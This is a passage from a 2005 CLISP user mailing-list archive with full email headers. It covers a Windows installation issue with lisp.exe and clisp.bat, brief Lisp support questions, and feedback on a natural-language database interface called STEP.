Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 10:49:33 2005 X-Original-Date: Mon, 02 May 2005 10:24:39 -0400 > * [2005-05-01 12:58:24 +0200]: > > but on the 2.33.1 windows distribution should not lisp.exe be moved up > from the directory base to the main directory? lisp.exe is just the run time, you should never invoke it directly. please take a look at the following pages: > See http://www.cs.umu.se/~mjm/step cool! note that your database gives many absurdly wrong answers, you might want to check your sources. e.g., "According to the database, the 5 countries with a significant number of people being the Whites named Jewish are Israel, Moldova, Morocco, Tunisia and Ukraine." - there are virtually no Jews in either Morocco or Tunisia (they all were expelled 55 years ago). Check "There is no ethnic group named Jews in the database." - this is the Soviet version of ethnography. "list the indo-european languages " ==> no Ukranian, no Polish?! the only Slavic language is Russian! an example was "countries following Atheism" - result " There is no religion named Atheism in the database. " " According to the database, the 77 countries where a significant number of people believe in the Islamic religions are ..." - it would be nice to have a reference of what constitutes "a significant number". "List Cities in Soviet Union" ==> "The database does not contain a city of North, of the province of Russia, named North. " "List Cities in Russia, with population" ==> " Do you want the cities of Russia, of the states? Do you want the cities of Russia? " both options give the same list, but without population. "Which countries border countries which border countries with followers of Islam " ==> hangs it would be nice is the number were formatted with "~:D". it's _very_ nice that you keep the history of answers, but you should add the history of _questions_ too. > for what I am doing with clisp. you don't mention CLISP on that page, although the response " There is no NIL NIL NIL NIL NIL in the database. " betrays that you are indeed using a lisp. -- Sam Steingold (http://www.podval.org/~sds) running w2k Profanity is the one language all programmers know best. From sds@gnu.org Mon May 02 10:48:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSf1x-0004rt-Jz for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 10:48:29 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DSf1t-0003IV-HW for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 10:48:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j42Hm7fe018418; Mon, 2 May 2005 13:48:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42760CCC.7000902@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 02 May 2005 14:19:40 +0300") References: <42760CCC.7000902@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: cLisp uses GMP (self or sources)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 10:52:16 2005 X-Original-Date: Mon, 02 May 2005 13:47:36 -0400 no. -- Sam Steingold (http://www.podval.org/~sds) running w2k Failure is not an option. It comes bundled with your Microsoft product. From sds@gnu.org Mon May 02 10:53:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSf6i-0005Za-Vt for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 10:53:24 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DSf6h-0004TF-HV for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 10:53:25 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j42HpRQN018868; Mon, 2 May 2005 13:51:27 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Joachim Schrod Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Joachim Schrod's message of "Mon, 02 May 2005 18:13:22 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joachim Schrod Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Make CLISP silent on method redefinitions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 10:55:16 2005 X-Original-Date: Mon, 02 May 2005 13:51:10 -0400 > * Joachim Schrod [2005-05-02 18:13:22 +0200]: > > WARNING: > DEFMETHOD: redefining method (BAR NIL) in > /shared/home/schrod/src/xindy/xindy-src-2.2-rc2/test/try.lsp, was > defined in top-level -- Sam Steingold (http://www.podval.org/~sds) running w2k Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From sds@gnu.org Mon May 02 11:15:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSfSQ-0007VY-Bl for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 11:15:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DSfSO-0000NE-EL for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 11:15:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j42IFbnf022410; Mon, 2 May 2005 14:15:38 -0400 (EDT) To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1115050595.427652630e032@puss.acc.umu.se> (mjm@cs.umu.se's message of "Mon, 2 May 2005 18:16:35 +0200") References: <1114945104.4274b6506a7b1@puss.acc.umu.se> <1115050595.427652630e032@puss.acc.umu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 11:16:02 2005 X-Original-Date: Mon, 02 May 2005 14:15:05 -0400 > * [2005-05-02 18:16:35 +0200]: > >> >> lisp.exe is just the run time, you should never invoke it directly. > > I know, I know, but I had to move it up from the directory "base" when > installing yesterday on the PC. CLISP didn't run out of the box as it > had before. You might want to check the status of the tar on source > forge. I don't understand. did you run install.bat? > Have you ever seen a relational database with high quality data? yes. when I populate it myself :-) > I think that the Tunisian Jews are help up as rare example of mutual > Jewish-Arab tolerance in the middle east, so they tend to get a lot of > mention. Yet another urban legend. : 1948 Jewish population: 105,000 2003: 1,500 ''Today, the 1,300 Jews comprise the country's largest indigenous religious minority. "The Government assures freedom of worship for the Jewish community and pays the salary of the Grand Rabbi" of the community.'' Jews are an "endangered species" there: now that they became nearly extinct after a relentless poaching, they are officially protected. Some tolerance. At any rate, 0.015% is hardly "sizable" (the percentage of Jews in the US is about 1,000 times higher, but US is not listed as a country with many Jews). >> you don't mention CLISP on that page, although the response >> " There is no NIL NIL NIL NIL NIL in the database. " > > LOL. Actually the configuration file does too. does what? PS. it would be nice if you mentioned that your implementation language is Lisp (linking to http://www.lisp.org) and your platform is CLISP (linking to http://clisp.cons.org). If you wish, we can list Step in . -- Sam Steingold (http://www.podval.org/~sds) running w2k Why do we want intelligent terminals when there are so many stupid users? From schrod@npc.de Mon May 02 12:01:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSgAj-0002La-E0 for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 12:01:37 -0700 Received: from fw.npc.de ([62.225.140.214] helo=mail.npc.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DSgAg-0003Sb-Ep for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 12:01:37 -0700 Received: by mail.npc.de (Postfix NPC GmbH, from userid 1014) id 9861E352B; Mon, 2 May 2005 21:01:32 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Message-ID: <17014.30988.432322.312477@pussy.r.npc.de> From: Joachim Schrod To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 7.19.1 under 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Make CLISP silent on method redefinitions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 12:02:02 2005 X-Original-Date: Mon, 2 May 2005 21:01:32 +0200 >>>>> "Sam" =3D=3D Sam Steingold writes: >> * Joachim Schrod [2005-05-02 18:13:22 +0200]: >>=20 >> WARNING: >> DEFMETHOD: redefining method (BAR NIL) in >> /shared/home/schrod/src/xindy/xindy-src-2.2-rc2/test/try.lsp, was >> defined in top-level Sam> Yep! Actually, I read this section, but didn't understand that it concerned my case. I should have recognized that a defmethod without specifiers boils down to a defun. Great support, as usual with you CLISP guys. Thanks! Joachim -- =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D- Joachim The most exciting phrase to hear in science, the R=F6dermark, Germany one that heralds new discoveries, is not "Eureka!" (I found it!) but "That's funny..." [Isaac Asimov] From kavenchuk@jenty.by Tue May 03 01:16:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSsaF-0000Ii-DC for clisp-list@lists.sourceforge.net; Tue, 03 May 2005 01:16:47 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DSsaD-0006GN-Lo for clisp-list@lists.sourceforge.net; Tue, 03 May 2005 01:16:47 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id K1K9R1J9; Tue, 3 May 2005 11:19:39 +0300 Message-ID: <42773393.80709@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: cLisp uses GMP (self or sources)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 3 01:17:16 2005 X-Original-Date: Tue, 03 May 2005 11:17:23 +0300 > no. > Why? Thanks. -- WBR, Yaroslav Kavenchuk. From mjm@cs.umu.se Tue May 03 07:55:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSyoN-0005L6-Na for clisp-list@lists.sourceforge.net; Tue, 03 May 2005 07:55:47 -0700 Received: from khan.acc.umu.se ([130.239.18.139] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DSyoH-0001lD-IG for clisp-list@lists.sourceforge.net; Tue, 03 May 2005 07:55:47 -0700 Received: from localhost (localhost [127.0.0.1]) by amavisd-new (Postfix) with ESMTP id BF8A6D205 for ; Tue, 3 May 2005 16:55:35 +0200 (MEST) Received: from mao.acc.umu.se (mao.acc.umu.se [130.239.18.154]) by khan.acc.umu.se (Postfix) with ESMTP id 860AAD220 for ; Tue, 3 May 2005 16:55:32 +0200 (MEST) Received: by mao.acc.umu.se (Postfix, from userid 3027) id 4322742FB; Tue, 3 May 2005 16:55:32 +0200 (CEST) Received: from kant.cs.umu.se (kant.cs.umu.se [130.239.40.147]) by puss.acc.umu.se (IMP) with HTTP for ; Tue, 3 May 2005 16:55:32 +0200 Message-ID: <1115132132.427790e432810@puss.acc.umu.se> From: mjm@cs.umu.se To: clisp-list@lists.sourceforge.net References: <1114945104.4274b6506a7b1@puss.acc.umu.se> <1115050595.427652630e032@puss.acc.umu.se> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 User-Agent: Internet Messaging Program (IMP) 3.2.2 X-Virus-Scanned: by amavisd-new at acc.umu.se Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 3 07:56:17 2005 X-Original-Date: Tue, 3 May 2005 16:55:32 +0200 > >> lisp.exe is just the run time, you should never invoke it directly. > > > > I know, I know, but I had to move it up from the directory "base" whe= n > > installing yesterday on the PC. CLISP didn't run out of the box as it > > had before. You might want to check the status of the tar on source > > forge. >=20 > I don't understand. > did you run install.bat? Yes I did. Perhaps I munged something up, but it might be worth looking=20 into the state of that tar file for the windows distribution. Everything = works for me now, but I had to manually move lisp.exe myself. >=20 > > Have you ever seen a relational database with high quality data? >=20 > yes. when I populate it myself :-) Hmmmm. You don't have any high quality relational databases that you want= an NL interface for, do you? I am looking for more databases to apply STEP to.=20 > it would be nice if you mentioned that your implementation language is > Lisp (linking to http://www.lisp.org) and your platform is CLISP > (linking to http://clisp.cons.org). OK. I made the update to http://www.cs.umu.se/~mjm/step >=20 > If you wish, we can list Step in > . That would be great. Cheers, MM From sds@gnu.org Tue May 03 08:48:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSzcs-0001nY-I7 for clisp-list@lists.sourceforge.net; Tue, 03 May 2005 08:47:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DSzcp-0004T7-NZ for clisp-list@lists.sourceforge.net; Tue, 03 May 2005 08:47:58 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j43Fle2C005098; Tue, 3 May 2005 11:47:41 -0400 (EDT) To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1115132132.427790e432810@puss.acc.umu.se> (mjm@cs.umu.se's message of "Tue, 3 May 2005 16:55:32 +0200") References: <1114945104.4274b6506a7b1@puss.acc.umu.se> <1115050595.427652630e032@puss.acc.umu.se> <1115132132.427790e432810@puss.acc.umu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 3 08:48:36 2005 X-Original-Date: Tue, 03 May 2005 11:47:09 -0400 > * [2005-05-03 16:55:32 +0200]: > >> >> lisp.exe is just the run time, you should never invoke it directly. >> > >> > I know, I know, but I had to move it up from the directory "base" when >> > installing yesterday on the PC. CLISP didn't run out of the box as it >> > had before. You might want to check the status of the tar on source >> > forge. >> >> I don't understand. >> did you run install.bat? > > Yes I did. Perhaps I munged something up, but it might be worth > looking into the state of that tar file for the windows distribution. it's not a tar, it's a zip. I just d/l it, it looks fine. > Everything works for me now, but I had to manually move lisp.exe > myself. you should have edited clisp.bat instead. > Hmmmm. You don't have any high quality relational databases that you > want an NL interface for, do you? I am looking for more databases to > apply STEP to. ask CIA for a DB version of the WFB. > OK. I made the update to http://www.cs.umu.se/~mjm/step thanks. what do you use to interface CLISP and ODBC? >> If you wish, we can list Step in >> . > That would be great. done (web is updated daily, it will be up tomorrow) -- Sam Steingold (http://www.podval.org/~sds) running w2k Any programming language is at its best before it is implemented and used. From mjm@cs.umu.se Wed May 04 01:56:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTFfu-0004FO-Cd for clisp-list@lists.sourceforge.net; Wed, 04 May 2005 01:56:10 -0700 Received: from khan.acc.umu.se ([130.239.18.139] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DTFfs-0001Z7-N1 for clisp-list@lists.sourceforge.net; Wed, 04 May 2005 01:56:10 -0700 Received: from localhost (localhost [127.0.0.1]) by amavisd-new (Postfix) with ESMTP id 784F8D224 for ; Wed, 4 May 2005 10:56:03 +0200 (MEST) Received: from mao.acc.umu.se (mao.acc.umu.se [130.239.18.154]) by khan.acc.umu.se (Postfix) with ESMTP id 2449FD221 for ; Wed, 4 May 2005 10:56:00 +0200 (MEST) Received: by mao.acc.umu.se (Postfix, from userid 3027) id 0DDB04933; Wed, 4 May 2005 10:56:00 +0200 (CEST) Received: from lgh160a.skogsbrynet.se (lgh160a.skogsbrynet.se [82.182.216.164]) by puss.acc.umu.se (IMP) with HTTP for ; Wed, 4 May 2005 10:55:59 +0200 Message-ID: <1115196959.42788e1ff2f2a@puss.acc.umu.se> From: mjm@cs.umu.se To: clisp-list@lists.sourceforge.net References: <1114945104.4274b6506a7b1@puss.acc.umu.se> <1115050595.427652630e032@puss.acc.umu.se> <1115132132.427790e432810@puss.acc.umu.se> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 User-Agent: Internet Messaging Program (IMP) 3.2.2 X-Virus-Scanned: by amavisd-new at acc.umu.se Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 4 01:56:30 2005 X-Original-Date: Wed, 4 May 2005 10:55:59 +0200 >=20 > you should have edited clisp.bat instead. Yes exactly, I guess I am asking why you don't. Here I made a log: From http://sourceforge.net/project/showfiles.php?group_id=3D1355 I take clisp-2.33.1-win32 from Dusseldorf saving it to desktop. I Extract it to C:\ Now inside of C:\clisp-2.33.1 I click on install.bat I answer 'Y' to all questions. When I click on the minora shortcut on the desktop the system goes into "seacrhing for lisp.exe" mode. I have to click "browse" and then locate lisp.exe in c:\clisp-2.33.1\base More to the point in the batch file clisp.bat in C:\clisp-2.33.1 I see that C:\clisp-2.33.1\lisp.exe -B "C:/clisp-2.33.1/" -M "C:\clisp-2.33.1\/base/lispin\ it.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 So my question is why not, on the distribution, update this file to C:\clisp-2.33.1\base\lisp.exe -B "C:/clisp-2.33.1/" -M "C:\clisp-2.33.1\/base/l\ ispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 Seems like it would run better. > ask CIA for a DB version of the WFB. Good point. I will when STEP is more mature. If they send me a copy of th= e database, I want to be able to turn around on it within a few days time t= o show them how quick the interface may be authored. In the meantime I test and = develop on the junk Mondial sample. > thanks. what do you use to interface CLISP and ODBC? A student of mine just finished this. He downloaded the code from Andrea= s Thiele that relies mostly on the FFI package. When I get the time I am go= ing to go over his code in more detail to get a better understanding. I suppose you want me to put in a link to Andreas' page too. >=20 > >> If you wish, we can list Step in > >> . Thanks I see it now. Hopefully it will bring some more visitors. I am get= ting about 2 per day as it stands. I suppose this is a healthy amount given th= e scrapy condition of the system and database.=20 Cheers, MM From sds@gnu.org Wed May 04 07:50:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTLCx-0007Ka-M9 for clisp-list@lists.sourceforge.net; Wed, 04 May 2005 07:50:39 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DTLCv-0002Qz-38 for clisp-list@lists.sourceforge.net; Wed, 04 May 2005 07:50:39 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1DTLCs-0003DV-Iq for clisp-list@lists.sourceforge.net; Wed, 04 May 2005 07:50:35 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j44Ea9Ln028083; Wed, 4 May 2005 10:36:09 -0400 (EDT) To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1115196959.42788e1ff2f2a@puss.acc.umu.se> (mjm@cs.umu.se's message of "Wed, 4 May 2005 10:55:59 +0200") References: <1114945104.4274b6506a7b1@puss.acc.umu.se> <1115050595.427652630e032@puss.acc.umu.se> <1115132132.427790e432810@puss.acc.umu.se> <1115196959.42788e1ff2f2a@puss.acc.umu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 4 07:51:27 2005 X-Original-Date: Wed, 04 May 2005 10:35:53 -0400 > * [2005-05-04 10:55:59 +0200]: > >> you should have edited clisp.bat instead. > Yes exactly, I guess I am asking why you don't. this has been fixed in the CVS for quite some time. >> what do you use 